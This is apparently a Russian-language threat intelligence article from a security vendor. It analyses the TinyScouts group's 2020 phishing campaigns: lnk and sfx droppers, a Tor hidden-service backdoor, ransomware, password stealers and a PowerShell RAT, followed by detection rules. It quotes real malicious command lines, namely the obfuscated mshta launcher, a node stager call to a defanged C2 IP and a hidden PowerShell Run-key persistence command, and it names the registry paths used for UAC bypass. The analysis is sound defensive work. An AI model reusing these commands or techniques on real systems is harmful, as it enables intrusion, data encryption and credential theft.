Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда – четко «заточенные» под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, «Норильский Никель», Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.
Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых – вариабельность сценария атаки. Если ты как жертва не интересен – украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки – загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts – по именам функций из вредоносного кода. В статье мы расскажем о двух ее последних кампаниях, которые условно можно разделить по месяцам – июль и август 2020 года, и сделаем полный разбор инструментов и сценариев TinyScouts.
Июльская кампания. Direct download
В июле вредонос распространялся в виде lnk-файла, который выполнял следующую команду:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)
В результате запуска mshta.exe происходило выполнение обфусцированного JS-скрипта. Его задача – извлечь из тела lnk-файла документ для отвлечения внимания, открыть его через rundll32.exe и запустить обфусцированную команду PowerShell. Фрагмент скрипта после деобфускации приведен ниже:
Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:
Задача данного скрипта – проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:
Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае «интересной» системы загружается RAT, иначе – шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.
Августовская кампания (продолжается). Tor Hidden Services
В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:
- document.doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
- 7za.exe. 7z- архиватор.
- wget.exe. Оригинальная утилита wget.
- service. JS-скрипт Stager 1
При запуске sfx-архива происходят следующие действия:
1) открывается document.doc
2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:
www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) с помощью node.exe запускается скрипт Stager 1:
C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248[.]165.254)
Ниже представлен деобфусцированный скрипт Stager 1:
Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.onion). Далее скрипт отправляет сгенерированное имя Hidden Service злоумышленнику и поднимает локальный веб-сервер. В дальнейшем общение злоумышленника с зараженной системой происходит в режиме запрос/ответ к веб-серверу (строка 19 в коде), где в запросах передается код для выполнения, а в ответах – результаты.
Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие – наличие интернета), и делает необязательным знание «белого» IP-адреса жертвы.
Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:
После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT – в зависимости от интереса злоумышленника.
Общие модули в обеих кампаниях
Скрипт Stager 3
Основной скрипт содержит в себе 5 компонентов, закодированных в base64:
- шифровальщик Encryptor
- файл Readme с сообщением от злоумышленников
- утилита WebBrowserPassView
- утилита Mail PassView
- Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.
Функции скрипта Stager 3:
1) Запуск шифровальщика (функция Get-Stuff)
Ниже приведен фрагмент кода скрипта с запуском шифровальщика:
2) Обход UAC (для удаления теневых копий)
В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.
3) Удаление теневых копий
4) Запуск WebBrowserPassView и Mail PassView
Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.
5) Отправка на сервер управления отчетов вышеупомянутых утилит.
Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):
Сам ключ помещается в начало сообщения:
Шифровальщик Encryptor
Сообщение readme выглядит следующим образом:
Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:
RAT
Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:
- delete — самоудаление
- exec – выполнение команды PowerShell
- download – загрузка файла
- set_wait_time – изменить частоту запроса команд
- update_tiny – обновление RAT
- run_module – выполнить блок PowerShell-команд
- add_persist_module – добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
- remote_persist_module – удалить модуль из списка автозагрузки RAT.
Деобфусцированная функция обработки команд приведена ниже:
Способ закрепления
Для закрепления используются два ключа:
1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»
2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id – строка формата AppX + base64(hostname+username+campaign_id)
Функция закрепления выглядит следующим образом:
Расшифрованный скрипт, который помещается в Run:
Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.
Команда add_persist_module
RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.
При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:
Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.
Взаимодействия с сервером
В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования – RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.
Технические аспекты обнаружения данных кампаний
Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:
- детект общесистемных аномалий,
- детект аномалий под конкретную компанию/семейство/инструмент.
Детект общесистемных аномалий
Взаимодействие с промежуточными серверами и СnС:
В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.
В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:
- Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
- Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
- В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point «места встречи» (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.
Для обеих кампаний будет достаточно неплохо работать набор из IDS-правил, которые направлены на обнаружение используемых специфичных методов PowerShell или их Base64 преобразованного вида.
Запуск кода на конечной системе
В качестве источника событий могут выступать два источника — Windows Audit и Sysmon.
Журнал PowerShell Script Block Logging
Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.
Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.
Журнал Security (или Sysmon)
Запуски процессов – 4648 (1)
Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic
Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e «base64»
Сетевое соединение процессов — 5156 (3)
Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.
Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).
Запись в реестр – 4657 (13)
RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути – наш вариант.
Детект попыток обхода технологии UAC: изменения в следующих ветках реестра —
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
Детект аномалий под конкретную компанию/семейство/инструмент
Запуск кода на конечной системе
Запуски процессов – 4648 (1)
Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe" /c if not exist hostname (node service )
Запись в реестр – 4657 (13)
RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения «client_id» по этому пути.
Больше полезной информации на нашем сайте
